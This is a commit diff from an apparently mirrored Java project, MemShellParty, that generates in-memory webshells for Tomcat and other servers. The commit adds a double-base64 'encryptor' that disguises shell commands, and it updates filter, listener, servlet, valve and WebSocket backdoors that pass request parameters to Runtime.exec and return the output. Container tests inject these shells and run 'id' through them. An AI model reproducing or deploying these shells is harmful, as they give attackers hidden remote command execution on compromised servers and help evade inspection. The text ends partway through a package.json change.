mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support command encryptor
This commit is contained in:
@@ -3,8 +3,10 @@ package com.reajason.javaweb.boot.controller;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
@@ -58,4 +60,9 @@ public class ConfigController {
|
||||
}
|
||||
return coreMap;
|
||||
}
|
||||
|
||||
@GetMapping("/command/encryptors")
|
||||
public List<CommandConfig.Encryptor> getCommandEncryptors() {
|
||||
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
|
||||
}
|
||||
}
|
||||
@@ -28,6 +28,7 @@ public class GenerateRequest {
|
||||
private String headerName;
|
||||
private String headerValue;
|
||||
private String shellClassBase64;
|
||||
private String encryptor;
|
||||
}
|
||||
|
||||
public ShellToolConfig parseShellToolConfig() {
|
||||
@@ -48,6 +49,7 @@ public class GenerateRequest {
|
||||
case Command -> CommandConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||
.build();
|
||||
case Suo5 -> Suo5Config.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
|
||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.generator.*;
|
||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
@@ -16,4 +16,18 @@ import lombok.experimental.SuperBuilder;
|
||||
public class CommandConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String paramName = CommonUtil.getRandomString(8);
|
||||
|
||||
@Builder.Default
|
||||
private Encryptor encryptor = Encryptor.RAW;
|
||||
|
||||
public enum Encryptor {
|
||||
RAW, DOUBLE_BASE64;
|
||||
|
||||
public static Encryptor fromString(String encryptor) {
|
||||
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
||||
return DOUBLE_BASE64;
|
||||
}
|
||||
return RAW;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,72 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final CommandConfig commandConfig;
|
||||
|
||||
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.commandConfig = commandConfig;
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (commandConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("commandConfig.getClazz() == null");
|
||||
}
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(commandConfig.getShellClass())
|
||||
.name(commandConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
String shellType = shellConfig.getShellType();
|
||||
if (!ShellType.WEBSOCKET.equals(shellType)) {
|
||||
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
||||
put("paramName", commandConfig.getParamName());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder.field(named("paramName")).value(commandConfig.getParamName());
|
||||
}
|
||||
}
|
||||
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
+92
@@ -0,0 +1,92 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.*;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final CommandConfig commandConfig;
|
||||
|
||||
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.commandConfig = commandConfig;
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (commandConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("commandConfig.getClazz() == null");
|
||||
}
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(commandConfig.getShellClass())
|
||||
.name(commandConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
String shellType = shellConfig.getShellType();
|
||||
|
||||
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
||||
put("paramName", commandConfig.getParamName());
|
||||
}})
|
||||
);
|
||||
} else if (!ShellType.WEBSOCKET.equals(shellType)) {
|
||||
builder = builder.field(named("paramName"))
|
||||
.value(commandConfig.getParamName());
|
||||
}
|
||||
|
||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
|
||||
builder = builder
|
||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(named("getParam"),
|
||||
new MethodCallReplaceVisitorWrapper(
|
||||
commandConfig.getShellClassName(),
|
||||
Collections.singleton(ShellCommonUtil.class.getName()))
|
||||
)
|
||||
)
|
||||
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.withParameters(String.class)
|
||||
.intercept(FixedValue.nullValue())
|
||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||
}
|
||||
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/4/27
|
||||
*/
|
||||
public class DoubleBase64ParamInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
|
||||
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
|
||||
}
|
||||
}
|
||||
@@ -74,7 +74,7 @@ public class ShellCommonUtil {
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value == null ? "" : new String(value);
|
||||
return value == null ? null : new String(value);
|
||||
}
|
||||
|
||||
public static class Base64DecodeToStringInterceptor {
|
||||
@@ -96,7 +96,7 @@ public class ShellCommonUtil {
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
returnValue = value == null ? "" : new String(value);
|
||||
returnValue = value == null ? null : new String(value);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+31
-6
@@ -1,13 +1,16 @@
|
||||
package com.reajason.javaweb.memshell.tomcat.command;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.*;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.generator.CommandGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
@@ -36,15 +39,37 @@ class CommandFilterTest {
|
||||
@MethodSource("casesProvider")
|
||||
void generate(String shellType, Class<?> clazz, String className) {
|
||||
ShellConfig generateConfig = new ShellConfig();
|
||||
CommandConfig shellConfig = CommandConfig.builder()
|
||||
CommandConfig commandConfig = CommandConfig.builder()
|
||||
.shellClass(clazz)
|
||||
.shellClassName(className)
|
||||
.paramName("cmd")
|
||||
.build();
|
||||
generateConfig.setShellType(shellType);
|
||||
byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes();
|
||||
byte[] bytes = new CommandGenerator(generateConfig, commandConfig).getBytes();
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
|
||||
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
||||
assertEquals(commandConfig.getShellClassName(), obj.getClass().getName());
|
||||
assertEquals(commandConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testGenerator() throws Exception {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellType(ShellType.FILTER)
|
||||
.shellTool(ShellTool.Command)
|
||||
.build();
|
||||
|
||||
CommandConfig commandConfig = CommandConfig.builder()
|
||||
.shellClass(CommandFilter.class)
|
||||
.shellClassName("org.apache.utils.CommandFilter")
|
||||
.paramName("cmd")
|
||||
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
|
||||
.build();
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
|
||||
GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
|
||||
// Files.write(Paths.get("hehe.class"), generate.getShellBytes());
|
||||
String pack = Packers.ScriptEngine.getInstance().pack(generate);
|
||||
System.out.println(pack);
|
||||
}
|
||||
}
|
||||
+49
-25
@@ -20,6 +20,7 @@ import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
||||
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
||||
import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils;
|
||||
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
|
||||
import org.testcontainers.utility.MountableFile;
|
||||
|
||||
import java.io.IOException;
|
||||
@@ -53,9 +54,8 @@ public class ShellAssertionTool {
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||
public static Pair<String, String> getUrls(String url, String shellType, ShellTool shellTool, Packers packer) {
|
||||
String shellUrl = url + "/test";
|
||||
|
||||
String urlPattern = null;
|
||||
if (shellType.endsWith(ShellType.SERVLET)
|
||||
|| shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER)
|
||||
@@ -71,9 +71,26 @@ public class ShellAssertionTool {
|
||||
URL url1 = new URL(url);
|
||||
shellUrl = "ws://" + url1.getHost() + ":" + url1.getPort() + url1.getPath() + urlPattern;
|
||||
}
|
||||
return Pair.of(shellUrl, urlPattern);
|
||||
}
|
||||
|
||||
GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer);
|
||||
@SneakyThrows
|
||||
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft();
|
||||
String urlPattern = urls.getRight();
|
||||
|
||||
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
|
||||
|
||||
GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig);
|
||||
|
||||
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
|
||||
|
||||
assertShellIsOk(generateResult, shellUrl, shellTool, shellType, appContainer, pythonContainer);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
||||
String content = null;
|
||||
if (packer.getInstance() instanceof JarPacker) {
|
||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
||||
@@ -96,16 +113,19 @@ public class ShellAssertionTool {
|
||||
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
||||
log.info("send inject payload successfully");
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void assertShellIsOk(GenerateResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||
switch (shellTool) {
|
||||
case Godzilla:
|
||||
testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
|
||||
break;
|
||||
case Command:
|
||||
if (shellType.endsWith(ShellType.WEBSOCKET)) {
|
||||
testWebSocketCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
|
||||
testWebSocketCommandIsOk(shellUrl, "id");
|
||||
} else {
|
||||
testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
|
||||
testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id");
|
||||
}
|
||||
break;
|
||||
case Behinder:
|
||||
@@ -144,11 +164,11 @@ public class ShellAssertionTool {
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig) {
|
||||
public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig, String payload) {
|
||||
OkHttpClient okHttpClient = new OkHttpClient();
|
||||
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
|
||||
.newBuilder()
|
||||
.addQueryParameter(shellConfig.getParamName(), "id")
|
||||
.addQueryParameter(shellConfig.getParamName(), payload)
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
@@ -161,7 +181,8 @@ public class ShellAssertionTool {
|
||||
}
|
||||
}
|
||||
|
||||
public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception {
|
||||
@SneakyThrows
|
||||
public static void testWebSocketCommandIsOk(String entrypoint, String payload) {
|
||||
final CountDownLatch latch = new CountDownLatch(1);
|
||||
final String[] responseHolder = new String[1];
|
||||
final long timeout = 5;
|
||||
@@ -169,7 +190,7 @@ public class ShellAssertionTool {
|
||||
WebSocketClient client = new WebSocketClient(new URI(entrypoint)) {
|
||||
@Override
|
||||
public void onOpen(ServerHandshake data) {
|
||||
send("id");
|
||||
send(payload);
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -220,22 +241,7 @@ public class ShellAssertionTool {
|
||||
assertTrue(antSwordManager.getInfo().contains("ok"));
|
||||
}
|
||||
|
||||
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
if (StringUtils.isNotBlank(urlPattern)) {
|
||||
injectorConfig.setUrlPattern(urlPattern);
|
||||
}
|
||||
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(server)
|
||||
.shellTool(shellTool)
|
||||
.shellType(shellType)
|
||||
.targetJreVersion(targetJdkVersion)
|
||||
.byPassJavaModule(targetJdkVersion >= Opcodes.V9)
|
||||
.debug(true)
|
||||
.shrink(true)
|
||||
.build();
|
||||
|
||||
public static ShellToolConfig getShellToolConfig(String shellType, ShellTool shellTool, Packers packer) {
|
||||
ShellToolConfig shellToolConfig = null;
|
||||
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
|
||||
switch (shellTool) {
|
||||
@@ -287,6 +293,24 @@ public class ShellAssertionTool {
|
||||
log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName);
|
||||
break;
|
||||
}
|
||||
return shellToolConfig;
|
||||
}
|
||||
|
||||
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
if (StringUtils.isNotBlank(urlPattern)) {
|
||||
injectorConfig.setUrlPattern(urlPattern);
|
||||
}
|
||||
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(server)
|
||||
.shellTool(shellTool)
|
||||
.shellType(shellType)
|
||||
.targetJreVersion(targetJdkVersion)
|
||||
.byPassJavaModule(targetJdkVersion >= Opcodes.V9)
|
||||
.debug(true)
|
||||
.shrink(true)
|
||||
.build();
|
||||
return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
}
|
||||
|
||||
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
package com.reajason.javaweb.integration.tomcat;
|
||||
|
||||
import com.reajason.javaweb.integration.ShellAssertionTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
||||
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Base64;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/4/28
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class Tomcat8CommandEncryptorContainerTest {
|
||||
public static final String imageName = "tomcat:8-jre8";
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||
String url = getUrl(container);
|
||||
|
||||
Pair<String, String> urls = ShellAssertionTool.getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft();
|
||||
String urlPattern = urls.getRight();
|
||||
|
||||
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
|
||||
|
||||
ShellToolConfig shellToolConfig = CommandConfig.builder()
|
||||
.paramName(uniqueName)
|
||||
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
|
||||
.build();
|
||||
|
||||
GenerateResult generateResult = ShellAssertionTool.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig);
|
||||
|
||||
ShellAssertionTool.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
|
||||
|
||||
String payload = Base64.getEncoder().encodeToString(Base64.getEncoder().encode("id".getBytes()));
|
||||
if (shellType.endsWith(ShellType.WEBSOCKET)) {
|
||||
ShellAssertionTool.testWebSocketCommandIsOk(shellUrl, payload);
|
||||
} else {
|
||||
ShellAssertionTool.testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), payload);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,12 +1,12 @@
|
||||
package com.reajason.javaweb.util;
|
||||
|
||||
import java.util.Base64;;
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
+5
-1
@@ -18,11 +18,15 @@ public class CommandFilter implements Filter {
|
||||
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getParameter(paramName);
|
||||
String cmd = getParam(servletRequest.getParameter(paramName));
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
|
||||
+5
-1
@@ -21,11 +21,15 @@ public class CommandListener implements ServletRequestListener {
|
||||
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String cmd = request.getParameter(paramName);
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
if (cmd != null) {
|
||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
|
||||
+5
-1
@@ -20,9 +20,13 @@ public class CommandServlet extends HttpServlet {
|
||||
doPost(req, resp);
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||
String cmd = request.getParameter(paramName);
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
|
||||
+5
-1
@@ -39,9 +39,13 @@ public class CommandValve implements Valve {
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
public String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
String cmd = request.getParameter(paramName);
|
||||
String cmd = getParam(request.getParameter(paramName));
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
|
||||
+13
-15
@@ -4,6 +4,7 @@ import javax.websocket.Endpoint;
|
||||
import javax.websocket.EndpointConfig;
|
||||
import javax.websocket.MessageHandler;
|
||||
import javax.websocket.Session;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
@@ -16,25 +17,22 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
||||
|
||||
private Session session;
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onMessage(String s) {
|
||||
try {
|
||||
Process process;
|
||||
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
|
||||
if (bool) {
|
||||
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
|
||||
} else {
|
||||
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
|
||||
Process exec = Runtime.getRuntime().exec(getParam(s));
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
InputStream inputStream = process.getInputStream();
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
int i;
|
||||
while ((i = inputStream.read()) != -1) {
|
||||
stringBuilder.append((char) i);
|
||||
}
|
||||
inputStream.close();
|
||||
process.waitFor();
|
||||
session.getBasicRemote().sendText(stringBuilder.toString());
|
||||
session.getBasicRemote().sendText(outputStream.toString());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
Binary file not shown.
+45
-45
@@ -15,73 +15,73 @@
|
||||
},
|
||||
"devDependencies": {
|
||||
"@biomejs/biome": "1.9.4",
|
||||
"@types/node": "^22.14.0",
|
||||
